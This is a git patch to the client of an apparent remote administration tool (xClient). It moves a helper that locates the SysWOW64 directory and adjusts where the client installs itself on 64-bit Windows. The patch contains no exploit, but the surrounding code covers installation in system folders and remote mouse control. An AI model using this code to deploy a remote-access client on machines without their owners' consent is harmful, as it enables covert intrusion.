From 5e868eb05e953c26591df99524996c9f9c9b83f9 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 24 Aug 2015 21:06:40 +0200 Subject: [PATCH] Small change --- Client/Core/Helper/FormatHelper.cs | 11 ----------- Client/Core/Helper/NativeMethodsHelper.cs | 13 +++++++++++-- Client/Program.cs | 4 ++-- 3 files changed, 13 insertions(+), 15 deletions(-) diff --git a/Client/Core/Helper/FormatHelper.cs b/Client/Core/Helper/FormatHelper.cs index 9544027a..75ff7b69 100644 --- a/Client/Core/Helper/FormatHelper.cs +++ b/Client/Core/Helper/FormatHelper.cs @@ -1,8 +1,6 @@ using System.Drawing; using System.IO; -using System.Text; using System.Text.RegularExpressions; -using xClient.Core.Utilities; namespace xClient.Core.Helper { @@ -41,14 +39,5 @@ namespace xClient.Core.Helper input = input.Remove(input.Length - 2); return input; } - - public static string GetSystemDirectory() - { - var path = string.Empty; - var buffer = new StringBuilder(260); // MAX_PATH - if (NativeMethods.GetSystemWow64Directory(buffer, (uint)buffer.Capacity) != 0) - path = buffer.ToString(); - return path; - } } } diff --git a/Client/Core/Helper/NativeMethodsHelper.cs b/Client/Core/Helper/NativeMethodsHelper.cs index 7ef90f96..9d153690 100644 --- a/Client/Core/Helper/NativeMethodsHelper.cs +++ b/Client/Core/Helper/NativeMethodsHelper.cs @@ -1,6 +1,6 @@ -using System; -using System.Drawing; +using System.Drawing; using System.Runtime.InteropServices; +using System.Text; using xClient.Core.Utilities; namespace xClient.Core.Helper @@ -26,6 +26,15 @@ namespace xClient.Core.Helper return 0; } + public static string GetSystemWow64Directory() + { + var path = string.Empty; + var buffer = new StringBuilder(260); // MAX_PATH + if (NativeMethods.GetSystemWow64Directory(buffer, (uint)buffer.Capacity) != 0) + path = buffer.ToString(); + return path; + } + public static void DoMouseLeftClick(Point p, bool isMouseDown) { NativeMethods.mouse_event(isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, 0); diff --git a/Client/Program.cs b/Client/Program.cs index 0c5561ed..1a26436f 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -120,8 +120,8 @@ namespace xClient _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); // https://stackoverflow.com/questions/3540930/getting-syswow64-directory-using-32-bit-application - if (PlatformHelper.Architecture == 64 && Settings.DIR.Contains("Windows\\system32")) - Settings.DIR = FormatHelper.GetSystemDirectory(); + if (PlatformHelper.Architecture == 64 && Settings.DIR == Environment.GetFolderPath(Environment.SpecialFolder.System)) + Settings.DIR = NativeMethodsHelper.GetSystemWow64Directory(); ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);